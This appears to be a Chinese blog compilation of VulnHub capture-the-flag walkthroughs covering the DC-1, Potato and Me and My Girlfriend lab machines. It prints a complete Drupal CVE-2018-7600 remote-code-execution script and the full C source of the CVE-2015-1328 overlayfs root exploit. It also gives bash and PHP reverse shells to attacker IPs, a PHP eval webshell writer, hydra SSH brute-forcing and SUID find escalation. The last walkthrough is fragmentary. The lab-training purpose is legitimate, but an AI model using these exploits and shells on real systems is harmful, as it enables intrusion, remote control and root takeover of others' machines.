vulnhub DC1
知识点
安装靶机
一 信息收集
二 换思路（直接手动打脚本过去，nc反弹）
三 花式找flag
四 提权

知识点

了解常见的CMS
漏洞库的使用
linux的基本操作
了解drupal的目录结构
linux suid提权方式

安装靶机
vmware和vbox都可以，使靶机和攻击机在同一网段。
一 信息收集
nmap -sn 192.168.1.0/24

nmap -Pn 192.168.1.4

80端口开启，访问。知道是Drupal7的CMS。

msf search drupal 执行exp

不知道是不是msf6的原因，拿到shell后，执行命令不行。网上msf5是可以的。
二 换思路（直接手动打脚本过去，nc反弹）
网上能找到drupal7的exp，这里我也贴出来
#!/usr/bin/env python3
 
import requests
import argparse
from bs4 import BeautifulSoup
 
def get_args():
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= '''
                    This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
                    by poisoning the recover password form (user/password) and triggering it with
                    the upload file via ajax (/file/ajax).
                    ''')
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args
 
def pwn_target(target, function, command, proxy):
  requests.packages.urllib3.disable_warnings()
  proxies = {'http': proxy, 'https': proxy}
  print('[*] Poisoning a form and including it in cache.')
  get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
  post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
  r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
  soup = BeautifulSoup(r.text, "html.parser")
  try:
    form = soup.find('form', {'id': 'user-pass'})
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {'q':'file/ajax/name/#value/' + form_build_id}
        post_params = {'form_build_id':form_build_id}
        r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise
 
def main():
  print ()
  print ('=============================================================================')
  print ('|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |')
  print ('|                              by pimps                                     |')
  print ('=============================================================================\n')
 
  args = get_args() # get the cl args
  pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
 
 
if __name__ == '__main__':
  main()


执行python drupal_poc.py -c "echo 'bash -i>& /dev/tcp/192.168.1.135/6666 0>&1'|bash " http://192.168.1.4。同时攻击机开启nc -lvvp 6666。反弹shell后，换成交互式 python -c "import pty;pty.spawn('/bin/bash')"



三 花式找flag
查阅资料，找到drupal默认数据库的配置文件。

发现Mysql的登陆账号和密码，登录康康

找到user表（我好像也不记得是哪个表保存的账号密码 QAQ）

发现密码是drupal hash加密，一个思路就是找到加密的脚本，生成一个自己的密码加密，然后update数据库admin的密码。

然后修改密码

登录网页试试现在只差一步之遥了，就是提权。
四 提权
suid提权

SUID可以让调用者以文件拥有者的身份运行该文件，所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件，那么我们运行该文件的时候就得获得root用户的身份了。
已知的可用来提权的linux可行性的文件列表如下：
nmap
vim
find
bash
more
less
nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件
#以下命令将尝试查找具有root权限的SUID的文件，不同系统适用于不同的命令，一个一个试
find / -perm -u=s -type f 2>/dev/null /表示从文件系统的顶部（根）开始并找到每个目录
-perm 表示搜索随后的权限
-u=s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件，而不是目录或特殊文件
2表示该进程的第二个文件描述符，即stderr（标准错误）
>表示重定向
/ dev / null是一个特殊的文件系统对象，它将丢弃写入其中的所有内容。
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;


利用执行find提权
find flag1.txt -exec whoami \;

可以看到find命令以root权限运行
find flag1.txt -exec '/bin/sh' \;

可以看到拿到了root权限。

vulnhub potato（难度：简单）
知识点
一 信息收集
二 从7120端口突破
三 爆破
linux内核提权

知识点
一 nmap的使用

二 SSH爆破

三 漏洞库的利用

四 LINUX内核提权
一 信息收集
nmap -sn 192.168.1.0/24

确定靶机IP是192.168.1.204
nmap -p- 192.168.1.204

开启了80端口和7120端口

先访问80端口，就只找到了info.php。查看也没发现可用信息。做了很多尝试，发现无果。
二 从7120端口突破
nmap -A -p 7120 192.168.1.204



发现居然是SSH。那么自然而然就想到爆破。
三 爆破
hydra -L user.txt -P dict.txt ssh://192.168.1.204 -s 7120

成功率取决于你的字典大小

账号和密码是 potato,letmein


ssh potato@192.168.1.204 -p 7120

linux内核提权
find / -perm -u=s -type f 2>/dev/null
sudo -l

无功而返

湿了一下uname -a又是漏洞库的利用

可以自己去找，我这儿也贴出来。（在攻击机下载poc,然后编译，然后然后让靶机去下载编译后的文件）
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}
            

编译一下:sudo gcc ubuntu_poc.c -o /var/www/html/exp//输出保存到/var/www/html/exp文件里



攻击机开启http服务:python -m SimpleHttpServer


同时靶机wget http://192.168.1.135:8000/exp



随即给exp一个执行权限chmod 777 exp

vulnhub靶场：ME AND MY GIRLFRIEND: 1
靶机下载地址：http://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

实验环境：VMware，kali虚拟机
实战WP
寻找靶机ip,arp-scan -l,发现靶机IP为192.168.46.131（如果得不到靶机的地址，可能是因为靶机的网卡信息不对参考：https://blog.csdn.net/asstart/article/details/103433065）



nmap扫描端口开放情况，发现开放了22和80端口
nmap  192.168.46.131



访问80端口提示只能从本地访问



尝试爆破目录，没有什么发现
dirb http://192.168.46.131



F12查看源码，提示使用x-forwarded-for



使用插件增加一个x-forwarded-for值127.0.0.1



修改后发现访问成功



发现有注册功能，尝试注册一个账号登录进去，登录成功



可以发现上面有一个id值，修改id值发现其他用户的账号密码



逐个测试发现存在12条记录，得到7个用户名和密码

eweuhtandingan:skuyatuh

aingmaung:qwerty!!!

sundatea:indONEsia

sedihaingmah:cedihhihihi

alice:4lic3

abdikasepak:dorrrrr

aa:aa

利用hydry，加载刚才得到的账号密码作为字典进行爆破
hydra -C 1.txt ssh://192.168.46.131



爆破出一个可用用户账号alice,密码4lic3，进行ssh连接
ssh alice@192.168.46.131



ls-al查看所以文件



发现一个my_secret，查看内容得到一个flag



接下来提权到root，溢出提权什么的，先不操作，因为是靶机，大多都有sudo滥用提权，直接sudo -l 查看，看到php命令不需要root密码即可使用



使用nc来反弹shell



在靶机上的alice创建一个php反弹shell去连接它
sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'



返回kaili发现已经连接上



在root下发现flag2.txt,打开发现第二个flag



完成

在vulnhub官网下载在vulnhub官网下载使用vmbox打开

nmap端口扫描，开放20,80端口.



访问80端口目录扫描


访问info.php和trade，发现万能密码可以登入






出现延迟，尝试sql注入



跑出数据库得用户名和密码，发现密码登入







网页信息收集，收集到开发者得邮箱，添加到字典，使hydra爆破




得到用户名和密码使用dirb目录扫描


进一步扫描发现可以存在Git源码泄漏，使用lijiejie工具将源码泄漏



又是看源码好难啊，这个使用个这个软件，大师傅推荐。妈卖批搞安全好难，昨天又买了张彩票，一夜暴富的我。自动扫描一下这个真的香，这个好分析多了，适合我种菜鸟。




就行源码审计，发现有个软waf存在，我看到过一个帖子说将waf关掉，直接命令执行反弹shell，想了想这个有很多种方式webshell毕竟有文件上传，命令执行，文件包含。等下都尝试尝试要不这个靶场就没意思了。

第一种(远程文件包含)





这个有点头大，明明可以包含为什么，原来包含了，没输出。
<?php fputs(fopen("webshell.php","w"),"<?php eval($_REQUEST[webshell]);?>") ?>
在这里插入图片描述
有点尴尬包含本地phpinfo()信息文件名改成除了php后缀，这里好像可以结合文件上传图片码，再图片码中插入要执行的PHP代码，好多骚操作妈卖批。





还有一部分不见了换了一种操作


命令执行使用wget下载文件，后执行
提供源码的泄漏知道需要输入密码，才能执行命令。









命令执行太多操作了，直接bash -i >& /dev/tcp/ip/端口 0>&1这个被waf,echo -e “<?php eval($_GET['ls']); ?>” 反正操作千万种，能拿到shell就高兴，如果有其他方式欢迎写在评论区。
第三 还有个图片上传尝试了一下，waf好像检测文件内容，但感觉可以绕过，尝试从源码泄漏分析，妈卖批好难啊，但生活还需要继续。
等下在操作吧
第4种源码泄漏，有没有方法把waf给关闭，这样就能想干嘛就干嘛，


有点懵逼这个写了没有加载，但是为什么拦截了，妈卖批环境有毒

提权
使用LinEnum对主机信息收集，发现8983端口，使用revsocks



下面是使用一个远程命令脚本因为我的环境有毒，做不下去了。分享个别人的连接。